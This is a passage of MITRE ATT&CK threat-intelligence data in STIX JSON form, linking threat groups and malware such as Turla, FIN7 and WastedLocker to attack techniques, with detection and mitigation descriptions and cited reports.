"2021-09-14T16:04:26.448Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group WastedLocker June 2020", "url": "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", "description": "Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."}], "modified": "2021-09-14T18:41:10.455Z", "description": "[WastedLocker](https://attack.mitre.org/software/S0612) can modify registry values within the <code>Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap</code> registry key.(Citation: NCC Group WastedLocker June 2020)", "relationship_type": "uses", "source_ref": "malware--46cbafbc-8907-42d3-9002-5327c26f8927", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--519c4c7f-8495-4b8a-b58e-551a78e469cc", "type": "relationship", "created": "2017-05-31T21:33:27.045Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/the-epic-turla-operation/65545/", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", "source_name": "Kaspersky Turla"}, {"description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", "source_name": "ESET Turla PowerShell May 2019"}], "modified": "2019-07-14T21:04:44.729Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover information in the Windows Registry with the <code>reg query</code> command.(Citation: Kaspersky Turla) [Turla](https://attack.mitre.org/groups/G0010) has also retrieved PowerShell payloads hidden in Registry keys as well as checking keys associated with null session named pipes .(Citation: ESET Turla PowerShell May 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--51a03c8a-1983-4bdd-b326-78ec67f86f06", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Dragonfly", "description": "Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", "url": "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"}, {"source_name": "Secureworks Karagany July 2019", "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector", "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}], "modified": "2020-10-14T22:38:11.536Z", "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can use [Tasklist](https://attack.mitre.org/software/S0057) to collect a list of running tasks.(Citation: Symantec Dragonfly)(Citation: Secureworks Karagany July 2019)", "relationship_type": "uses", "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--51a4c7b0-608a-415b-b59d-87d2b81371e7", "created": "2022-03-30T14:26:51.855Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for processes and/or command-lines to install or modify login hooks, as well as processes spawned at user login by these hooks.", "modified": "2022-04-16T02:49:05.035Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--51adc4b0-bf1b-4c55-ac6c-72b46560e833", "type": "relationship", "created": "2020-10-01T13:33:13.771Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Medium Anchor DNS July 2020", "url": "https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30", "description": "Grange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020."}], "modified": "2020-10-01T13:33:13.771Z", "description": "[Anchor](https://attack.mitre.org/software/S0504) can execute payloads via shell scripting.(Citation: Medium Anchor DNS July 2020)", "relationship_type": "uses", "source_ref": "malware--5f1d4579-4e8f-48e7-860e-2da773ae432e", "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--51adca8c-07a6-4f5b-a443-682e27a289f6", "type": "relationship", "created": "2022-03-30T14:26:51.832Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.832Z", "description": "Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. Consider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--51afbe4e-c5cd-4acd-b4e1-ff7877b78b9e", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.cyberscoop.com/fin7-dde-morphisec-fileless-malware/", "description": "Waterman, S. (2017, October 16). Fin7 weaponization of DDE is just their latest slick move, say researchers. Retrieved November 21, 2017.", "source_name": "CyberScoop FIN7 Oct 2017"}], "modified": "2019-06-30T23:13:18.421Z", "description": "[FIN7](https://attack.mitre.org/groups/G0046) spear phishing campaigns have included malicious Word documents with DDE execution.(Citation: CyberScoop FIN7 Oct 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--51b09cc3-d54b-4b22-a354-0e2094851321", "created": "2024-02-09T21:31:10.106Z", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Update May 2021", "description": "Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-09T21:31:10.106Z", "description": "(Citation: Mandiant Pulse Secure Update May 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9", "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--51b34c1f-4e2f-4bb7-98a1-fa90ed873eba", "created": "2023-04-05T15:19:22.063Z", "revoked": false, "external_references": [{"source_name": "SentinelLabs Metador Technical Appendix Sept 2022", "description": "SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.", "url": "https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-05T15:19:22.063Z", "description": "[metaMain](https://attack.mitre.org/software/S1059) can write the process ID of a target process into the `HKEY_LOCAL_MACHINE\\SOFTWARE\\DDE\\tpid` Registry value as part of its reflective loading activity.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)", "relationship_type": "uses", "source_ref": "malware--df350889-4de9-44e5-8cb3-888b8343e97c", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--51b44905-4efe-46f7-968b-feee7401c641", "created": "2022-03-30T14:26:51.859Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "SensePost NotRuler", "url": "https://github.com/sensepost/notruler", "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for third-party application logging, messaging, and/or other artifacts that may leverage Microsoft Office-based applications for persistence between startups. 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Retrieved April 24, 2019."}], "modified": "2020-06-11T19:52:07.318Z", "description": "[Rocke](https://attack.mitre.org/groups/G0106) has used Python-based malware to install and spread their coinminer.(Citation: Anomali Rocke March 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad", "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--521ca9cf-4ed0-4e24-a18a-b14252283d23", "type": "relationship", "created": "2021-04-06T15:53:34.938Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Intezer Doki July 20", "url": "https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/", "description": "Fishbein, N., Kajiloti, M.. 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Retrieved March 30, 2021."}], "modified": "2021-04-14T15:19:45.038Z", "description": "[Doki](https://attack.mitre.org/software/S0600) has used the embedTLS library for network communications.(Citation: Intezer Doki July 20)", "relationship_type": "uses", "source_ref": "malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5221fc94-cddd-416a-b027-67bc7a68ced1", "type": "relationship", "created": "2020-10-01T00:48:09.642Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-01T00:48:09.642Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337", "target_ref": "attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--52220a00-bd7f-4a24-a5d3-8ac40ab1ffdd", "created": "2022-03-30T14:26:51.876Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for newly executed processes that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM), as well as service processes such as <code>wmiprvse.exe</code> on destination hosts.", "modified": "2022-04-19T23:50:38.013Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--52278e18-f8b3-4bf1-a5d3-ac819ccfd301", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", "description": "FireEye. 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Retrieved December 20, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[DRATzarus](https://attack.mitre.org/software/S0694) can use the `GetTickCount` and `GetSystemTimeAsFileTime` API calls to inspect system time.(Citation: ClearSky Lazarus Aug 2020)", "modified": "2022-04-17T18:33:05.253Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5253d038-08a8-4d17-9549-bbcf67c37603", "type": "relationship", "created": "2020-08-12T17:52:48.622Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Secureworks IRON LIBERTY July 2019", "url": "https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector", "description": "Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020."}, {"source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"}, {"source_name": "Gigamon Berserk Bear October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", "description": "Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE\u2019S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. 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Retrieved November 25, 2020."}], "modified": "2020-11-25T21:00:56.296Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has delivered malicious Microsoft Office attachments via spearphishing emails.(Citation: iSight Sandworm Oct 2014)(Citation: US-CERT Ukraine Feb 2016)(Citation: ESET Telebots Dec 2016)(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5260f605-09d0-4d96-9239-9b93a76d0cbe", "type": "relationship", "created": "2021-01-06T16:56:56.261Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Analyzing Solorigate Dec 2020", "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021."}, {"source_name": "FireEye SUNBURST Backdoor December 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. 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Retrieved January 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Aquatic Panda](https://attack.mitre.org/groups/G0143) has downloaded additional malware onto compromised hosts.(Citation: CrowdStrike AQUATIC PANDA December 2021)", "modified": "2022-04-10T18:32:55.533Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--52f31493-1654-4516-960d-c79018f1efd8", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets", "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. 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(2021, June). Gelsemium. Retrieved November 30, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Chrommme](https://attack.mitre.org/software/S0667) has the ability to list drives and obtain the computer name of a compromised host.(Citation: ESET Gelsemium June 2021)", "modified": "2022-05-03T19:33:31.427Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--579607c2-d046-40df-99ab-beb479c37a2a", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--52f5f77e-9018-4a2a-b3e8-80daa3569493", "created": "2022-04-28T16:08:52.206Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for network traffic originating from unknown/unexpected hardware devices. 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(2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}], "modified": "2021-08-19T18:19:50.577Z", "description": "[Nebulae](https://attack.mitre.org/software/S0630) can achieve persistence through a Registry Run key.(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--52fcde3f-d3af-4785-940f-5856dd657455", "type": "relationship", "created": "2019-06-20T15:44:50.969Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. 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Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017)\n\nDepending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017)\n\nAs immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)", "relationship_type": "mitigates", "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", "target_ref": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5301c007-7c00-4b4d-b355-864db8de052f", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT28", "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", "url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T17:51:20.409Z", "description": "[CORESHELL](https://attack.mitre.org/software/S0137) collects hostname, volume serial number and OS version data from the victim and sends the information to its C2 server.(Citation: FireEye APT28)", "relationship_type": "uses", "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--530ca8a2-0cee-4aa5-a445-a8ad5822fc32", "type": "relationship", "created": "2022-03-30T14:26:51.874Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.874Z", "description": "Monitor executed commands and arguments that may establish persistence through executing malicious commands triggered by a user\u2019s shell.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--531e2785-0bbd-43f0-8784-ebe6808afa98", "created": "2023-03-31T17:31:38.458Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-11T03:28:04.450Z", "description": "Monitor for changes to Registry entries for network providers (e.g., `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order`) and correlate then investigate the DLL files these values reference.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "target_ref": "attack-pattern--90c4a591-d02d-490b-92aa-619d9701ac04", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5329433a-2e84-4f56-b933-01620892e333", "created": "2022-01-09T22:09:04.144Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Novetta-Axiom", "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", "url": "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-20T22:03:44.677Z", "description": "(Citation: Novetta-Axiom)", "relationship_type": "uses", "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", "target_ref": "malware--fb28627c-d6ea-4c35-b138-ab5e96ae5445", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5329d477-4378-4635-8da8-ed427d7863fc", "type": "relationship", "created": "2020-01-24T14:56:24.415Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-05-04T19:05:30.421Z", "description": "Changing UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.", "relationship_type": "mitigates", "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", "target_ref": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--532acf80-0480-40ec-9a9b-72376d0ea075", "type": "relationship", "created": "2022-03-30T14:26:51.839Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.839Z", "description": "Inventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace</code> and <code>HKEY_CLASSES_ROOT\\CLSID\\{GUID}</code>. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the <code>CPLs</code> and <code>Extended Properties</code> Registry keys of <code>HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel</code>. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically (<code> WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);</code>) or from a command line (<code>control.exe /name {Canonical_Name}</code>).(Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers</code> where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL)", "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "target_ref": "attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Implementing CPL", "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.", "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"}, {"source_name": "Microsoft Implementing CPL", "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.", "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"}, {"source_name": "Microsoft Implementing CPL", "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.", "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--532db73a-7b3e-44a5-9115-6c366766a756", "type": "relationship", "created": "2021-04-16T21:43:13.711Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group Team9 June 2020", "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of 